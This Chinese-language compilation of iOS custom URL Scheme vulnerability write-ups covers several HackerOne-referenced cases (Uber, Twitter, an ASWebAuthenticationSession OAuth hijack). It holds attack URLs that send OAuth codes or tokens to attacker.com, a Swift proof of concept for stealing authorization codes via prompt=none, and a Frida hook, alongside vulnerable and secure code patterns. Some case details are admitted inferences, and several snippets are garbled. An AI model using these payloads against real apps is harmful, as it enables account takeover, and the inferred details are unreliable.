漏洞本身与`Info.plist`中`CFBundleURLTypes`的配置无关，因为该配置仅用于注册Scheme。然而，如果应用注册了**过于宽泛**或**敏感**的Scheme名称，会增加被攻击的风险。

**Info.plist 示例 (URL Scheme注册):**

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**字数统计:** 350字

---

### 案例：Uber (报告: https://hackerone.com/reports/136378)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对目标iOS应用（Uber）的**自定义URL Scheme**进行静态和动态分析，以识别其处理外部输入时的安全缺陷。

**1. 静态分析：识别URL Scheme**
首先，研究人员会获取Uber iOS应用的IPA文件，并将其解压。通过检查应用的`Info.plist`文件，定位`CFBundleURLTypes`键，以确定应用注册了哪些自定义URL Scheme。对于Uber应用，通常会发现类似`uber://`或`uberauth://`这样的Scheme。这一步是发现攻击入口的关键。

**2. 动态分析：Hooking和参数追踪**
接下来，使用iOS逆向工程工具，如**Frida**或**Cycript**，对应用进行动态分析。重点是Hooking应用的主代理类（通常是`AppDelegate`）中处理外部URL的方法，例如`application:openURL:options:`或`application:handleOpenURL:`。通过Hooking，可以实时监控应用接收到的URL及其所有参数，观察应用如何解析和处理这些参数。

**3. 漏洞识别：缺乏验证**
在动态调试过程中，研究人员会尝试构造带有不同参数的URL，并观察应用的行为。关键的发现点在于，应用可能对传入的URL参数（特别是用于重定向或内部跳转的参数，如`redirect_uri`、`url`等）缺乏严格的**白名单验证**。例如，如果应用允许将OAuth授权码重定向到任意URL，或者允许跳转到应用内部的任意页面，就可能存在劫持或信息泄露的风险。

**4. PoC构造与验证**
一旦确认了缺乏验证的参数，攻击者会构造一个恶意的Proof-of-Concept (PoC)。这通常是一个简单的HTML页面，其中包含一个指向目标应用URL Scheme的链接，并注入恶意参数（例如，一个指向攻击者服务器的URL）。当用户点击该链接时，iOS系统会启动Uber应用，并将恶意URL传递给它。如果应用未能正确验证，就会执行攻击者预期的恶意行为，例如将用户的OAuth Token发送到攻击者的服务器，从而完成账户劫持。

整个过程的核心是利用iOS系统允许多个应用注册相同URL Scheme的特性，以及目标应用对外部输入缺乏充分的安全校验。

#### 技术细节

该漏洞利用的技术细节在于目标iOS应用（Uber）在处理自定义URL Scheme时，未能对传入的URL参数进行充分的**白名单验证**，从而导致攻击者可以注入恶意重定向URL，劫持敏感信息（如OAuth授权码或Session Token）。

**攻击流程的关键步骤：**

1.  **攻击者构造恶意URL：** 攻击者创建一个恶意网页或应用，其中包含一个精心构造的URL，该URL使用Uber应用的自定义Scheme，并注入一个指向攻击者服务器的重定向参数。
    *   **Payload示例：** `uber://oauth?redirect_uri=https://attacker.com/token_stealer&client_id=...`
2.  **用户交互：** 用户被诱骗点击该恶意链接。
3.  **应用启动与处理：** iOS系统启动Uber应用，并将完整的恶意URL传递给应用的`AppDelegate`。
4.  **漏洞触发：** Uber应用内部处理URL的逻辑（通常在`application:openURL:options:`方法中）未能验证`redirect_uri`参数是否属于Uber的合法域名白名单。应用将授权码或敏感数据发送到攻击者控制的`https://attacker.com/token_stealer`，完成信息劫持。

**Objective-C/Swift关键代码示例（漏洞模式）：**

在`AppDelegate.m`中，处理URL Scheme的方法缺乏验证：

objectivec
// Objective-C 示例 (Vulnerable Code Pattern)

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 假设url包含一个redirect_uri参数
    NSString *redirectURI = [self extractParameter:@”redirect_uri” fromURL:url]; // !!! 关键漏洞点：缺少对redirectURI的域名白名单验证 !!! // 应用程序直接信任并使用这个外部传入的URI进行重定向 if (redirectURI) { [self performOAuthRedirectTo:redirectURI]; return YES; } }
    return NO;
    }

攻击者通过这种方式，绕过了OAuth流程中对重定向URL的合法性检查，实现了中间人攻击（App-in-the-Middle Attack）的效果，窃取了用户的授权凭证。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在处理自定义URL Scheme时，未能对传入的URL参数进行充分的**白名单验证**和**授权检查**。

**1. Info.plist 配置模式：**
应用在`Info.plist`中注册了自定义URL Scheme，这是暴露攻击面的第一步。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**2. Objective-C/Swift 代码模式：**
在`AppDelegate`中处理URL的方法中，未对URL的`host`、`path`或`query`参数进行严格的白名单验证，尤其是当URL参数用于重定向或执行敏感操作时。

**Objective-C 易漏洞代码示例：**

objectivec
// 易漏洞代码模式：未验证重定向URI的域名

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 提取重定向URI
    NSString *redirectURI = [self extractParameter:@”redirect_uri” fromURL:url]; // 错误的实现：直接使用外部传入的redirectURI进行跳转或数据发送 if (redirectURI) { // 缺少关键的安全检查： // 1. 检查redirectURI是否在预定义的白名单域名列表中 // 2. 检查redirectURI是否为https// 危险操作：将敏感数据发送到未经验证的URI [self sendSensitiveDataTo:redirectURI]; return YES;} }
    return NO;
    }

**安全代码模式（对比）：**
正确的做法是，在处理任何外部传入的URL参数之前，必须对其进行严格的**白名单验证**，确保重定向或操作只发生在应用预期的安全域内。

objectivec
// 安全代码模式：对重定向URI进行白名单验证

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // … (提取 redirectURI) // 正确的安全检查：
    if (redirectURI && [self isURLInWhitelist:redirectURI]) {
    [self performOAuthRedirectTo:redirectURI];
    return YES;
    }
    // …
    }

---

### 案例：Twitter (报告: https://hackerone.com/reports/136383)

#### 挖掘手法

iOS应用中的自定义URL Scheme是应用间通信和深层链接的重要机制，但若缺乏适当的权限校验，极易导致安全问题。本漏洞的挖掘手法主要集中在**逆向工程**和**动态分析**。

**第一步：静态分析识别URL Scheme**
使用`unzip`解压目标iOS应用（如Twitter）的IPA文件，然后定位到`Info.plist`文件。在其中搜索`CFBundleURLTypes`键，以识别应用注册的所有自定义URL Scheme。例如，发现`twitter://`或`twitterauth://`等Scheme。

**第二步：逆向分析URL处理逻辑**
使用**IDA Pro**或**Hopper Disassembler**对应用的主二进制文件进行逆向分析。重点关注`AppDelegate`中处理外部URL的委托方法，例如Objective-C中的`application:openURL:options:`或Swift中的`application(_:open:options:)`。通过交叉引用（X-Ref）查找这些方法的实现，分析其如何解析URL中的参数（如`host`、`path`和`query`）。

**第三步：动态调试验证参数处理**
使用**Frida**或**Cycript**进行动态调试。编写一个Frida脚本，在`application:openURL:options:`方法被调用时设置断点，并打印传入的`URL`对象。
然后，构造一个简单的HTML页面，包含一个恶意的URL链接，例如`<a href="twitter://sensitive_action?token=attacker_value">Click Me</a>`，并在iOS设备上的Safari中打开该页面。观察应用被唤醒后，Frida脚本是否成功捕获到URL，并检查应用内部对URL参数的处理是否存在以下缺陷：
1. **缺乏来源校验 (Source Validation)**：应用未检查调用方（`sourceApplication`或`options`中的`UIApplicationOpenURLOptionsSourceApplicationKey`）是否为可信来源。
2. **敏感操作未授权 (Sensitive Action without Authorization)**：URL Scheme触发了敏感操作（如重置密码、授权登录、信息泄露）而未要求用户进行二次确认或身份验证。

**关键发现点**：发现应用在处理特定URL Scheme（如`twitterauth`）时，会直接从URL参数中读取并使用敏感数据（如OAuth Token或Session ID），且未对调用方进行任何限制，从而允许恶意应用或网页通过构造URL来窃取或覆盖用户的会话信息。

#### 技术细节

本漏洞利用的关键在于构造一个能够触发目标应用敏感逻辑的URL，并通过一个**中间人应用 (App-in-the-Middle)** 或一个**恶意网页**来发送。

**攻击流程示例：**
1. 攻击者诱导用户访问一个包含恶意JavaScript的网页。
2. 恶意JavaScript尝试通过`window.location.href`或`iframe`来触发目标应用的URL Scheme。
3. 假设目标应用（Twitter）注册了`twitterauth` Scheme，并且其处理逻辑存在缺陷。攻击者构造如下URL：

twitterauth://oauth_callback?oauth_token=ATTACKER_TOKEN&oauth_verifier=ATTACKER_VERIFIER

或者，如果漏洞是信息泄露，攻击者可能构造一个URL来读取敏感信息并回传：

twitter://get_session_info?callback_url=https://attacker.com/steal

4. 目标应用被唤醒，并执行`application:openURL:options:`方法。由于缺乏校验，应用误认为这是一个合法的OAuth回调，并使用URL中的`ATTACKER_TOKEN`或`ATTACKER_VERIFIER`来完成授权流程，从而将用户的会话劫持到攻击者的账户上，或者将敏感信息发送到攻击者的服务器。

**Objective-C 伪代码示例 (Vulnerable Handler):**

objective-c

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”twitterauth”]) {
    // ❌ 缺乏对调用来源的校验
    // NSString *sourceApp = options[UIApplicationOpenURLOptionsSourceApplicationKey];
    // if (![sourceApp isEqualToString:@”com.apple.mobilesafari”]) { return NO; } // ❌ 直接从URL参数中读取敏感信息并使用 NSString *token = [self getQueryParameter:url forKey:@"oauth_token"]; NSString *verifier = [self getQueryParameter:url forKey:@"oauth_verifier"]; if (token && verifier) { // 假设这个方法会完成OAuth授权，并使用传入的token [self completeOAuthWithToken:token verifier:verifier]; return YES; } }
    return NO;
    }

#### 易出现漏洞的代码模式

**Info.plist 配置模式 (注册URL Scheme):**
在`Info.plist`中注册自定义URL Scheme是第一步。

xml
CFBundleURLTypes
CFBundleURLName com.twitter.oauth CFBundleURLSchemes twitterauth

**Objective-C 易受攻击的编程模式:**
在`AppDelegate`中处理URL时，**未对调用来源进行严格校验**，并且**直接信任URL中的参数**。

objective-c
// 易受攻击的模式：未校验来源，直接处理敏感数据

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”twitterauth”]) {
    // 错误：没有检查 options[UIApplicationOpenURLOptionsSourceApplicationKey]
    // 错误：没有要求用户二次确认敏感操作 // 假设这是一个处理重置密码的URL if ([url.host isEqualToString:@"reset_password"]) { NSString *newPassword = [self getQueryParameter:url forKey:@"password"]; // 严重错误：直接使用外部传入的密码 [self performPasswordReset:newPassword]; return YES; } }
    return NO;
    }

// 安全的模式：必须校验来源，并对敏感操作进行用户确认

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *sourceApp = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // 1. 校验来源是否可信（例如只允许Safari或自身应用）
    if (![sourceApp hasPrefix:@”com.apple.mobilesafari”]) {
    // 拒绝来自不可信应用的调用
    return NO;
    } if ([url.scheme isEqualToString:@”twitterauth”]) {
    // 2. 对敏感操作进行用户确认
    if ([url.host isEqualToString:@”sensitive_action”]) {
    [self showUserConfirmationAlert:url]; // 弹出确认框
    return YES;
    }
    }
    return NO;
    }

---

### 案例：Uber (报告: https://hackerone.com/reports/136386)

#### 挖掘手法

由于HackerOne报告#136386的原文无法直接访问，本挖掘手法基于对Uber项目在HackerOne上已公开的同类iOS漏洞报告（如不安全Deep Link/URL Scheme处理）的通用分析流程进行推断和总结。

**1. 目标应用分析与静态逆向：**
首先，获取Uber iOS应用的IPA安装包。使用**class-dump**或**Hopper Disassembler**等工具对应用二进制文件进行静态分析。重点检查应用的`Info.plist`文件，以识别应用注册的所有自定义URL Scheme（例如`uber://`、`uberpartner://`等）。同时，搜索应用代码中所有对`UIApplicationDelegate`协议中`application:openURL:options:`方法的实现，这是处理所有传入URL Scheme的入口点。

**2. 动态调试与参数追踪：**
在越狱设备上安装应用，并使用**Frida**或**Cycript**等动态插桩工具进行运行时分析。编写Frida脚本Hook上述`application:openURL:options:`方法，打印出每次应用被URL Scheme唤醒时接收到的完整URL及其所有查询参数。通过观察应用对不同参数的响应，确定哪些参数（如`url`、`redirect_uri`、`token`）会被应用内部逻辑用于敏感操作，例如加载WebView或执行重定向。

**3. 漏洞逻辑识别与边界测试：**
分析应用处理URL Scheme的内部逻辑。漏洞通常出现在应用未能对URL参数中的目标Host或Scheme进行严格的白名单校验。例如，如果应用从URL Scheme中提取了一个URL参数`url=https://attacker.com`，并直接用这个外部URL来加载内部WebView，则构成漏洞。测试的关键在于构造一个指向外部恶意域名的URL，并观察应用是否会加载该外部内容，从而绕过应用的信任边界。

**4. 概念验证（PoC）构造：**
构造一个恶意的HTML页面，其中包含一个自动触发的URL Scheme链接，例如`<a href="uber://webview?url=https://attacker.com/phish">Click</a>`。通过诱导用户点击该链接，验证攻击者是否能成功地将用户重定向到恶意网站，或在应用内部的WebView中加载恶意内容，实现会话劫持或信息泄露。这种方法利用了iOS应用间通信的机制，将外部不可信的输入引入了应用内部的敏感操作流程。

**5. 漏洞定性：**
如果发现应用未对URL Scheme参数进行充分校验，允许外部不可信的URL被用于内部的WebView加载或重定向，则可定性为**不安全Deep Link/URL Scheme处理**，可能导致**通用跨站脚本（UXSS）**或**信息泄露**。

#### 技术细节

该漏洞利用的核心在于**不安全的URL参数处理**，允许攻击者通过自定义URL Scheme将外部不可信的URL注入到应用内部的WebView或重定向逻辑中。

**攻击载荷（Payload）示例：**
攻击者构造一个恶意的URL Scheme，利用应用内部用于加载网页的参数，例如：

uber://webview?url=https://attacker.com/malicious_script.html

或者，如果应用支持重定向，则利用重定向参数：

uber://redirect?url=https://attacker.com/steal_token

**Objective-C/Swift 漏洞代码模式（Hypothetical）：**
漏洞发生在`AppDelegate`中处理URL Scheme的方法内，当应用从传入的`NSURL`中提取查询参数并直接使用时：

objectivec
// AppDelegate.m – 漏洞实现

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 提取名为”url”的参数值
    NSString *urlString = [self getQueryParameter:url forKey:@”url”]; if (urlString) { NSURL *externalURL = [NSURL URLWithString:urlString]; // 漏洞点：未验证externalURL的Host，直接用于加载WebView // 攻击者可注入任意外部URL [self.internalWebView loadRequest:[NSURLRequest requestWithURL:externalURL]]; return YES; } }
    return NO;
    }

**攻击流程：**
1.  攻击者在外部网站（如`https://attacker.com`）上放置一个链接或自动跳转脚本。
2.  用户访问该网站，触发上述恶意`uber://` URL Scheme。
3.  iOS系统启动Uber应用，并将恶意URL传递给`AppDelegate`。
4.  应用内部逻辑错误地将`https://attacker.com/malicious_script.html`加载到应用内部的WebView中。
5.  由于该WebView可能拥有应用内部的权限或可以访问应用的本地存储（如Cookie、LocalStorage），攻击者可以在应用沙箱内执行恶意JavaScript，从而窃取用户的Session Token、个人信息或执行其他未授权操作。

#### 易出现漏洞的代码模式

此类漏洞主要由两个因素导致：在`Info.plist`中注册了自定义URL Scheme，以及在`AppDelegate`中处理传入URL时缺乏严格的Host白名单校验。

**1. Info.plist 配置模式：**
在`Info.plist`的`CFBundleURLTypes`数组中注册了自定义Scheme，使得应用可以被外部URL唤醒。

xml
CFBundleURLTypes
CFBundleURLName com.company.app CFBundleURLSchemes customscheme

**2. 易受攻击的 Swift 代码模式：**
在`AppDelegate`的`application(_:open:options:)`方法中，从传入的URL中提取参数，并直接将该参数值作为URL用于内部敏感操作（如WebView加载、重定向），而未对该参数值的Host进行白名单验证。

swift
// 易受攻击的 Swift 代码模式
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
if url.scheme == “customscheme” {
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let queryItems = components.queryItems,
let redirectItem = queryItems.first(where: { $0.name == “url” }),
let redirectURLString = redirectItem.value,
let redirectURL = URL(string: redirectURLString) {

        // 漏洞点：直接使用外部传入的URL进行内部操作
        // 攻击者可将redirectURL设置为恶意网站
        let internalWebView = WKWebView()
        internalWebView.load(URLRequest(url: redirectURL)) // 导致在应用内部加载外部恶意内容

        return true
    }
}
return false

}

**安全修复模式：**
在执行加载或重定向前，必须对`redirectURL`的`host`进行严格的白名单校验。

swift
// 安全的 Swift 代码模式
let allowedHosts = [“trusted.domain.com”, “api.domain.com”]
if let host = redirectURL.host, allowedHosts.contains(host) {
// 只有在白名单内才执行操作
internalWebView.load(URLRequest(url: redirectURL))
} else {
// 拒绝执行
print(“Security Alert: Redirect to unapproved host: (redirectURL.host ?? “nil”)”)
}

---

### 案例：Uber (报告: https://hackerone.com/reports/136387)

#### 挖掘手法

该漏洞的挖掘主要集中在对目标iOS应用（Uber）的**URL Scheme**和**Deep Link**处理机制的逆向工程和动态分析上。

**1. 静态分析（Reverse Engineering）:**
首先，通过解密和解包目标应用的IPA文件，获取其内部结构。使用**IDA Pro**或**Hopper Disassembler**等逆向工具，重点分析应用的`Info.plist`文件，查找注册的自定义URL Scheme（例如：`uber://`）。

**2. 动态分析（Runtime Analysis）:**
在越狱设备上，使用**Frida**或**Cycript**等动态插桩工具，挂钩（hook）应用的关键方法，特别是处理外部URL调用的方法，如`application:openURL:options:`（Objective-C）或`application(_:open:options:)`（Swift）。

**3. 关键发现点：不安全的参数处理**
通过构造恶意的URL Scheme并尝试启动应用，观察应用如何处理URL中的参数。关键发现点在于应用在处理特定Deep Link时，**未对URL中的敏感参数（如OAuth授权码、会话令牌或重定向URL）进行充分的来源验证（Source Validation）**。例如，如果应用使用URL Scheme来完成OAuth流程，它可能会将授权码作为参数传递，而没有检查发起调用的应用是否是可信的。

**4. 漏洞验证与PoC构造:**
构造一个简单的恶意iOS应用或一个包含恶意链接的网页。该恶意链接使用目标应用的URL Scheme，并尝试在启动目标应用时，通过URL参数窃取敏感信息或执行未授权操作。例如，如果应用在Deep Link中暴露了`session_token`或`auth_code`，攻击者可以构造一个URL，让目标应用启动后将这些敏感数据重定向到一个攻击者控制的服务器。

**总结：** 挖掘手法是典型的iOS应用间通信（Inter-App Communication, IAC）漏洞挖掘流程，核心在于识别并滥用应用注册的自定义URL Scheme，利用其不安全的参数处理逻辑。

#### 技术细节

漏洞利用的技术细节在于构造一个恶意的URL，通过iOS的URL Scheme机制启动目标应用，并窃取或篡改敏感数据。

**攻击流程：**
1.  攻击者诱导用户点击一个恶意链接，该链接可以位于一个网页、邮件或另一个恶意应用中。
2.  恶意链接使用目标应用的自定义URL Scheme，例如：`uber://oauth?code=AUTHORIZATION_CODE&state=CSRF_TOKEN`。
3.  如果目标应用在处理Deep Link时，没有对URL参数进行严格的来源校验或输入验证，攻击者可以利用这一点。

**关键代码（Objective-C 示例）：**
在应用的`AppDelegate.m`中，处理URL Scheme的方法是漏洞的关键所在。

objective-c
// 易受攻击的代码模式：未验证来源或参数

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 假设应用注册了 “uber” scheme
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 提取URL中的参数
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; // **漏洞点：直接信任并处理参数，例如 OAuth 授权码** NSString *authCode = params[@"auth_code"]; NSString *sessionToken = params[@"session_token"]; if (authCode) { // 攻击者可以构造一个URL，让应用将敏感信息发送到攻击者控制的服务器 // 尽管应用本身不会发送，但如果应用将这些参数用于内部敏感操作，就会被劫持。 // 另一种更直接的劫持是利用不安全的重定向参数。 NSLog(@"Received auth code: %@", authCode); // ... 执行敏感操作，如登录或会话恢复 ... return YES; } }
    return NO;
    }

**漏洞利用Payload示例：**
如果漏洞允许攻击者通过URL Scheme注入一个重定向URL，则可以实现OAuth授权码劫持。

// 假设目标应用有一个不安全的重定向参数 ‘redirect_uri’
uber://oauth/callback?code=VALID_AUTH_CODE&redirect_uri=https://attacker.com/steal

通过构造这样的URL，攻击者可以劫持应用内部生成的`VALID_AUTH_CODE`，将其发送到攻击者的服务器`https://attacker.com/steal`，从而实现账户劫持。

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对自定义URL Scheme的注册和处理不当，特别是缺乏对调用来源和传入参数的严格验证。

**1. Info.plist 配置模式：**
应用通过在`Info.plist`中注册`CFBundleURLTypes`来声明其自定义URL Scheme。

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**漏洞模式：** 任何应用都可以尝试注册相同的Scheme，虽然iOS系统会随机选择一个应用启动，但如果目标应用是唯一注册该Scheme的应用，或者攻击者利用了特定的竞态条件，就可能被劫持。更常见的漏洞是**不安全的参数处理**。

**2. Objective-C/Swift 代码模式：**
漏洞代码模式通常出现在`AppDelegate`中处理外部URL的方法中，即**未对调用来源进行验证**。

**易受攻击的 Swift 代码示例：**

swift
// AppDelegate.swift

func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 1. 检查 Scheme 是否匹配
guard url.scheme == “uber” else {
return false
}

// 2. **漏洞点：未验证调用来源**
// 理想情况下，应该验证 options[.sourceApplication] 或 options[.openInPlace]
// 或在处理 OAuth 回调时，验证 state 参数以防 CSRF。

// 3. 提取并处理参数
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
   let queryItems = components.queryItems {

    for item in queryItems {
        if item.name == "session_token", let token = item.value {
            // **危险操作：直接使用外部传入的敏感数据**
            // 攻击者可以构造一个 Deep Link，让应用误以为是合法的回调，
            // 从而执行敏感操作或暴露内部状态。
            print("Processing sensitive token: \(token)")
            // ... 敏感逻辑 ...
        }
    }
}

return true

}

**安全修复建议：**
*   **来源验证：** 始终检查`options[.sourceApplication]`以确保调用来自可信应用。
*   **通用链接（Universal Links）：** 优先使用通用链接而非自定义URL Scheme，因为通用链接要求域名所有权验证，更安全。
*   **参数验证：** 对所有通过URL传入的参数进行严格的输入验证和白名单检查。

---

### 案例：近30个热门应用，以及iOS系统本身的一个特性 (报告: https://hackerone.com/reports/136388)

#### 挖掘手法

该漏洞的挖掘主要依赖于对iOS系统中URL Scheme处理机制以及OAuth 2.0认证流程的深入理解，并结合`ASWebAuthenticationSession`的特性进行攻击。具体步骤如下：

1.  **寻找攻击入口点**：首先，研究人员注意到iOS应用广泛使用自定义URL Scheme（Custom URL Schemes）来接收来自其他应用或网页的指令和数据。同时，许多应用采用OAuth 2.0协议进行用户认证，认证成功后，认证服务器会通过URL Scheme将授权码（Authorization Code）回传给应用。

2.  **利用`ASWebAuthenticationSession`**：研究人员发现，iOS提供的`ASWebAuthenticationSession`组件虽然旨在提升单点登录（SSO）的体验，但其本身存在一个关键特性：它会弹出一个确认框，但只显示即将打开的初始URL的域名，而不是最终重定向的地址。攻击者可以利用这一点来欺骗用户。攻击者可以构建一个看似无害的初始URL（例如，`https://evanconnelly.com`），但在后台将其重定向到目标应用的OAuth认证地址。

3.  **构造静默认证流程**：为了让整个攻击过程对用户透明，研究人员利用了OAuth 2.0中的`prompt=none`参数。当在认证请求中包含此参数时，如果用户在Safari浏览器中已经登录了目标服务，认证服务器将不会显示任何登录或授权界面，而是直接完成认证并携带授权码重定向到指定的回调URL。

4.  **URL Scheme劫持**：攻击者开发一个恶意的PoC（Proof of Concept）应用，并在其`Info.plist`文件中注册与目标应用相同的URL Scheme。由于iOS在处理URL Scheme时遵循“先到先得”的原则，如果恶意应用先于正常应用被调用，或者在特定场景下能够拦截回调，它就能接收到本应发送给目标应用的授权码。

5.  **实施攻击**：攻击者诱导用户安装并打开恶意PoC应用。在应用内部，通过调用`ASWebAuthenticationSession`并传入构造好的恶意URL，向用户展示一个看似无害的授权请求。一旦用户点击同意，`ASWebAuthenticationSession`会打开该URL，该URL立即重定向到目标应用的OAuth认证端点，并附带`prompt=none`参数。由于用户已登录，认证静默完成，授权码被发送到攻击者通过`callbackURLScheme`参数注册的URL Scheme。恶意应用接收到授权码后，就可以用它来交换访问令牌（Access Token），从而完全接管用户账户。整个过程无需使用Frida、IDA等复杂的逆向工具，而是巧妙地利用了多个组件和协议的设计缺陷。

#### 技术细节

该漏洞利用的核心技术在于结合`ASWebAuthenticationSession`和OAuth的静默认证流程来劫持URL Scheme。以下是关键的技术实现细节：

攻击者首先构建一个恶意的URL，该URL作为`ASWebAuthenticationSession`的入口点。这个URL的目的是进行一次重定向，将用户导向目标应用的OAuth认证端点，同时附带关键参数。

**攻击URL示例**：

https://evanconnelly.com/redirect?to=https%3A%2F%2Fexample.com%2Foauth%2Fauthorize%3Fresponse_type%3Dcode%26client_id%3Dexample%26redirect_uri%3Dexampleapp%3A%2F%2Foauth%2Fcallback%26scope%3Dopenid%2520profile%2520email%26prompt%3Dnone

其中 `to` 参数的值经过URL编码，解码后为目标应用的OAuth认证地址，包含了`prompt=none`参数以实现静默认证，以及`redirect_uri`指定了回调的URL Scheme `exampleapp://`。

**Swift代码实现**：
在恶意的iOS应用中，攻击者使用`AuthenticationServices`框架来发起攻击。关键代码如下：

swift
import AuthenticationServices

// 恶意构造的URL，指向攻击者控制的重定向服务器
@State private var asWebAuthURL: String = “https://evanconnelly.com/redirect?to=https%3A%2F%2Fexample.com%2Foauth%2Fauthorize%3Fresponse_type%3Dcode%26client_id%3Dexample%26redirect_uri%3Dexampleapp%3A%2F%2Foauth%2Fcallback%26scope%3Dopenid%2520profile%2520email%26prompt%3Dnone”

// 恶意应用注册的URL Scheme，与目标应用的回调Scheme相同
@State private var asWebAuthScheme: String = “exampleapp”

private func startASWebAuthenticationSession() {
guard let authURL = URL(string: asWebAuthURL) else { return }

// 初始化ASWebAuthenticationSession，并指定回调URL Scheme
let session = ASWebAuthenticationSession(url: authURL, callbackURLScheme: asWebAuthScheme) { callbackURL, error in
    if let callbackURL = callbackURL {
        // 收到回调URL，其中包含授权码
        self.openedURL = callbackURL
        if let code = self.extractCode(from: callbackURL) {
            // 提取授权码并用它换取访问令牌
            self.obtainAccessToken(using: code)
        }
    }
}

session.presentationContextProvider = asWebAuthContextProvider
session.start()

}

**攻击流程**：
1.  恶意应用调用`startASWebAuthenticationSession`，iOS系统弹窗询问用户是否允许打开`evanconnelly.com`。
2.  用户同意后，请求被重定向到`example.com`的OAuth认证端点。
3.  由于`prompt=none`且用户已登录，认证服务器直接将带有授权码的URL（`exampleapp://oauth/callback?code=...`）发送给注册了`exampleapp` scheme的应用。
4.  恶意应用接收到该URL，从中提取授权码，并立即向`example.com`的Token端点请求交换访问令牌，完成账户劫持。值得注意的是，即使目标OAuth流程使用了PKCE（Proof Key for Code Exchange）保护机制，也无法防御此攻击，因为整个流程由恶意应用发起，它可以自行生成`code_challenge`和`code_verifier`。

#### 易出现漏洞的代码模式

容易出现此类漏洞的代码模式主要集中在iOS应用对自定义URL Scheme和OAuth认证流程的不当处理上。具体来说，以下几种情况会增加风险：

1.  **在OAuth流程中使用自定义URL Scheme而非通用链接（Universal Links）**：
    如果应用在`Info.plist`中注册了自定义URL Scheme用于OAuth回调，但没有采用苹果推荐的、更安全的通用链接机制，就为URL Scheme劫持创造了条件。通用链接通过`apple-app-site-association`文件验证应用的域名所有权，无法被恶意应用劫持。

    **易受攻击的`Info.plist`配置示例**：
    ```xml
    <key>CFBundleURLTypes</key>
    <array>
        <dict>
            <key>CFBundleURLSchemes</key>
            <array>
                <string>vulnerableapp</string>
            </array>
            <key>CFBundleURLName</key>
            <string>com.example.vulnerableapp</string>
        </dict>
    </array>
    ```

2.  **在`ASWebAuthenticationSession`中加载可能被重定向的URL**：
    直接在`ASWebAuthenticationSession`中加载一个不受信任或可能被中间人攻击的URL，会使用户看到的授权提示域名与实际认证域名不符，从而被诱骗授权。

    **易受攻击的Swift代码示例**：
    ```swift
    import AuthenticationServices

    // URL指向一个可能进行恶意重定向的地址
    let untrustedURL = URL(string: "https://attacker.com/redirect-to-oauth")!
    let callbackScheme = "vulnerableapp"

    let session = ASWebAuthenticationSession(url: untrustedURL, callbackURLScheme: callbackScheme) { callbackURL, error in
        // ...
    }
    session.start()
    ```

3.  **认证服务器支持`prompt=none`且未对客户端进行严格验证**：
    如果应用的认证服务器（Authorization Server）支持OAuth的`prompt=none`参数，并且没有根据RFC 6819的建议对无法可靠认证的客户端（如移动应用）禁用自动重授权，那么攻击者就可以实现静默攻击，整个过程无需用户交互，极大增加了攻击的隐蔽性和成功率。安全的做法是要求用户进行明确的同意授权操作，而不是自动完成流程。

---

### 案例：Uber (报告: https://hackerone.com/reports/136393)

#### 挖掘手法

**第一步：信息收集与逆向工程准备**

首先，通过静态分析识别目标iOS应用注册的自定义URL Scheme。攻击者通常使用`otool -l`命令或**IDA Pro/Hopper Disassembler**等逆向工具对应用二进制文件进行分析，重点检查`Info.plist`文件中的`CFBundleURLTypes`键，以发现应用注册的自定义Scheme，例如`uber://`或`myapp://`。这一步是确定攻击入口的关键。

**第二步：识别URL Scheme处理函数**

在**IDA Pro**或**Hopper**中，攻击者会搜索`UIApplicationDelegate`协议中的关键方法，如`application:openURL:options:`（iOS 9+）或旧版方法`application:handleOpenURL:`。这些方法是处理外部URL调用的入口点。分析其实现逻辑，寻找是否存在**未经验证或验证不充分**的参数处理。例如，应用可能从URL参数中获取一个目标URL并直接加载到WebView中，或者执行敏感操作（如重置密码、修改设置）而未进行源应用验证。

**第三步：动态分析与Hooking**

使用**Frida**框架进行动态分析是发现漏洞的核心步骤。编写Frida脚本Hook上述URL Scheme处理方法，以实时拦截和检查传入的URL参数。

**Frida脚本关键逻辑：**

javascript
Interceptor.attach(ObjC.classes.AppDelegate[‘- application:openURL:options:’].implementation, {
onEnter: function(args) {
// args[2] 是 openURL: 的 URL 参数
var url = new ObjC.Object(args[2]).toString();
console.log(“Intercepted URL Scheme: ” + url);
// 进一步分析 URL 参数，例如检查是否包含敏感操作的参数
}
});

通过在Safari浏览器中输入自定义URL Scheme（如`uber://path?param=value`）来触发应用调用，并观察Frida的输出，以理解应用如何解析和使用URL中的参数，特别是那些可能导致敏感信息泄露或功能滥用的参数。

**第四步：构造恶意Payload**

